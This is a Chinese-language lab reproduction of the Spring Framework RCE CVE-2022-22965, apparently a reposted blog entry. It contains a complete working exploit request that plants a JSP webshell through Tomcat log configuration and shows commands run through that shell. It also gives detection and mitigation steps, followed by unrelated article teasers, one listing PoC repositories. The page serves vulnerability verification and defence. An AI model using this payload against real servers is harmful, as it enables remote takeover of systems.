CVE-2022-22965:Spring Framework远程代码执行漏洞

CVE-2022-22965:Spring Framework远程代码执行漏洞

本文仅为验证漏洞,在本地环境测试验证,无其它目的


漏洞编号:

CVE-2022-22965


漏洞说明:

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。


漏洞影响范围:

  • Spring Framework < 5.3.18
  • Spring Framework < 5.2.20

漏洞级别:

高危


漏洞复现:

本次复现采用Vulhub靶场环境,需要在本地搭建Vulhub靶场(自行百度,如有问题可以沟通交流,后期时间充足可以再出Vulhub搭建教程),需注意将请求中的代码更换为靶机所在IP
(参考:Vulhub/CVE-2022-22965)

  1. 进入靶场环境:【Vulhub}-【Spring】-【CVE-2022-22965】,使用以下命令启动环境

docker-compose up -d

在这里插入图片描述

  • 根据VULHUB靶场提示操作,访问靶场服务器IP+端口:
    bash http://192.168.32.132:8080/?name=Bob&age=25
    在这里插入图片描述

  • 此处要注意,因为靶场会占用8080端口,所以当BP和靶场在统一环境下时,注意修改BP的8080端口为其他,并在浏览器中进行更新才能访问靶场环境:
    在这里插入图片描述

  • 发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件:

  • GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
    Host: 192.168.32.132:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
    Connection: close
    suffix: %>//
    c1: Runtime
    c2: <%
    DNT: 1
    

    在这里插入图片描述

  • 然后,访问刚才的 JSP webshell,并执行任意命令:
    bash http://192.168.32.132:8080/tomcatwar.jsp?pwd=j&cmd=id
    在这里插入图片描述


  • 漏洞自查:

    (参考:安恒信息CERT)

    1. 临时解决方案

      排查是否使用了Spring框架(包括但不限于以下方法)
      (1)排查项目中是否使用了Spring框架:
      可遍历项目文件查找是否包含spring-beans-.jar
      (2)排查war包中是否存在Spring框架:
      检查war包内是否存在spring-beans-
      .jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
      (3)排查jar包部中的Spring:
      检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。

    2. 在使用Spring框架的服务器中,命令行下执行“java –version”,查看当前JDK版本,如果JDK版本在8及以下,则不受此漏洞影响


    漏洞修复:

    ((参考: 深信服千里目安全实验室)

    1. 临时解决方案

      1. 在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{“class.","Class.”,“.class.”,“.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加)
      2. 在应用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目
    2. WAF等安全组件防护

      在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

    3. 官方修复

      1. 当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
        https://github.com/spring-projects/spring-framework/tags
        注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本(截止至3月31日)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358009.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

js中四种创建对象的方式

一、 1 var user new Object(); 2 user.first"Brad"; 3 user.last"Dayley"; 4 user.getName function( ) { return this.first " " this.last; } 二、 1 var user { 2 first: Brad, 3 last: Dayley, 4 getName: function( ) { return…

CSS系列讲解-总目录

总目录: 欢迎来到孙叫兽的《CSS系列讲解》,蓝色字体为传送门,点击进入即可。本专栏已完结,大前端专栏支持更新。 玩转CSS系列: 什么是CSS?你真的理解? CSS页面DEMO CSS基本语法? 如何玩转CSS的Id 和 Class选择器? 怎么玩转CSS内部样式表与外部样式表? 怎么样才…

红队信息收集自动化工具-水泽(ShuiZe)

红队信息收集自动化工具-水泽&#xff08;ShuiZe&#xff09; 文章目录 红队信息收集自动化工具-水泽&#xff08;ShuiZe&#xff09;0x01 介绍0x02 安装0x03 效果展示0x04 POC编写0x05 使用方法0x06 实现原理Web -> 存活探测0x07 项目地址 0x01 介绍 定位&#xff1a;协助…

注释不好吗?

前几天&#xff0c;我在有关Spring XML与注释的文章中运用了自己的原则&#xff0c;轻松进入了这个主题。 对于我目前正在编写此新应用程序的团队来说&#xff0c;这种简单的输入方式也是我不会使事情复杂化的方式&#xff0c;该应用程序的生产寿命可能为3-5年&#xff08;如果…

前端工程师应该达到什么水平,找工作薪资才比较高?

当然是水平越高&#xff0c;越容易找到工作&#xff0c;薪资越高在竞争这么激烈的2020年&#xff0c;就需要更加的努力&#xff0c;充实自己&#xff0c;让自己不被代替&#xff01;两条路&#xff1a;自学或者找培训班&#xff0c;找培训班的话&#xff0c;我推荐达内和传智播…

【转】使用JMeter对数据库做压力测试

作为一名开发人员&#xff0c;大多情况下都会认真的做好功能测试&#xff0c;但是却常常忽略了软件开发之后的压力测试&#xff0c;尤其是在面向大量用户同时使用的Web应用系统的开发过程&#xff0c;压力测试往往是不够充分的。近期我在一个求职招聘型的网站项目中就对压力测试…

python中的大数据品牌运营专业公司_国内最好的专业数据分析公司有哪些?

说说我知道的几家&#xff0c;都是在各自领域最好的。大数据平台星环&#xff0c;做Hadoop生态系列的大数据底层平台公司。也是国内唯一入选过Gartner魔力象限的大数据平台公司。Hadoop是开源的&#xff0c;星环主要做的是把Hadoop不稳定的部分优化&#xff0c;功能细化&#x…

POC以及day下载链接地址

POC以及day下载链接地址 https://github.com/Threekiii/Awesome-POC https://github.com/coffeehb/Some-PoC-oR-ExP https://github.com/PeiQi0/PeiQi-WIKI-Book https://github.com/luck-ying/Library-POC https://github.com/helloexp/0day https://github.com/BaizeSec/byl…

孙叫兽进阶之路之Gitlab的使用(图文教程)

简介&#xff1a; GitLab是一个利用 Ruby on Rails 开发的开源应用程序&#xff0c;实现一个自托管的Git项目仓库&#xff0c;可通过Web界面进行访问公开的或者私人项目。 它拥有与Github类似的功能&#xff0c;能够浏览源代码&#xff0c;管理缺陷和注释。可以管理团队对仓库的…

PyQt4(使用ui)

1.使用qt designer设计界面&#xff0c;保存为test1.ui&#xff1a; 2.使用pyuic4 test1.ui -o ui.py生成ui代码。 3.程序载入。 import sys import ui from PyQt4 import QtCore, QtGuiclass MyWidget( QtGui.QWidget ):def __init__(self):super(MyWidget, self).__init__() …

docker升级步骤及注意事项

centos系统默认安装的docker版本是1.13版本&#xff0c;在安装部分镜像时可能出现兼容问题&#xff0c;本文通过实际操作总结Docker升级最新版本步骤及可能出现的问题&#xff0c;供各位参考。 环境&#xff1a;CentOS Linux release 7.6.1810 (Core) docker升级操作&#xf…

孙叫兽进阶之路之源代码配置管理过程(图文教程)

简介:配置管理(Configuration Management,CM)是通过技术或行政手段对软件产品及其开发过程和生命周期进行控制、规范的一系列措施。配置管理的目标是记录软件产品的演化过程,确保软件开发者在软件生命周期中各个阶段都能得到精确的产品配置。

进击的Objective-C--------Objective-C基础(-)

1.面向过程和面向对象(面向对象三大特性:封装 继承 多态)面向对象编程:分析解决问题组成的对象,从中抽象出类,调用方法(协调对象间的联系与通信),解决问题.面向过程编程:分析解决问题的步骤,实现函数,一次调用2类和对象:类和对象是面向对象的核心类:具有相同特征和行为的事物的…

ivy maven_将Maven与Ivy集成

ivy maven问题是&#xff1a;您在Ivy存储库中&#xff08;只有那里&#xff09;有一些资源&#xff0c;您想在基于Maven的项目中使用这些资源。 可能的解决方案&#xff1a; 由于Ivy可以轻松使用Maven样式的存储库&#xff08;因此&#xff0c;您的Ivy客户端可以继续使用Ivy并进…

video 微信 标签层级过高_什么是微信小程序二级分销系统?如何玩转?

微信二级分销系统是通过帮助企业打造微分销商城&#xff0c;从店铺、商品、会员、分销、营销、数据分析等不同功能模块&#xff0c;让一个微信店铺焕发无限可能。微分销系统基于二级分销&#xff0c;以全员开店&#xff0c;以客推客模式迅速推动销量增长&#xff0c;快速招募微…

docker搭建简单的ctf题目

0x01 docker常用命令 1.拉取镜像。 docker pull [image] 2.查看docker当前镜像。 docker image ls 或 docker images 3.新建一个docker容器&#xff0c;并映射端口号。 docker run -d -p [host port]:[docker port] [image] 4.查看运行中的docker容器。 docker ps -a 5.进入一…

使用爱思助手备份苹果手机数据的方法

背景:前段时间刚给对象买的一个紫色的苹果11,128G的那种,最近发现电池电量忽然就少很多,电池除了点问题,去苹果售后店准备换一个电池,还在保修期,区分一下售后店(回厂修十多天)及专卖店(有备用电池)。今天提前备份一下数据,防止数据丢失,一般内存不大可以使用手机…

高级Java教程

课程大纲 学习Java基础很容易。 但是&#xff0c;真正钻研该语言并研究其更高级的概念和细微差别将使您成为一名出色的Java开发人员。 网络上充斥着“软”&#xff0c;“便宜”&#xff0c;“低端” Java教程&#xff0c;但是所缺少的实际上是将您带入新的高度的材料。 本课程…

Cool!15个超炫的 CSS3 文本特效【上篇】

每一个网页设计师都希望创建出让用户能够赏识的网站。当然&#xff0c;这是不可能满足每个人的口味的。幸运的是&#xff0c;我们有最强大的工具和资源。实际上&#xff0c;我们非常多的网站模板&#xff0c;框架&#xff0c;内容管理系统&#xff0c;先进的工具和其他的资源可…

cmake 构建路径_新手必备:win10 系统下 VSCode+CMake+Clang+GCC 环境的搭建

打算用C/C把基本的数据结构与算法实现一遍, 为考研做准备, 因为只是想实现算法和数据结构, 就不太想用VisualStudio, 感觉VSCode不错, 遂在网上找了一些教程, 结合自己的需求, 配置一下开发环境。安装软件1、CMakeCMake是一个跨平台的自动化建构系统,它使用一个名为 CMakeLists…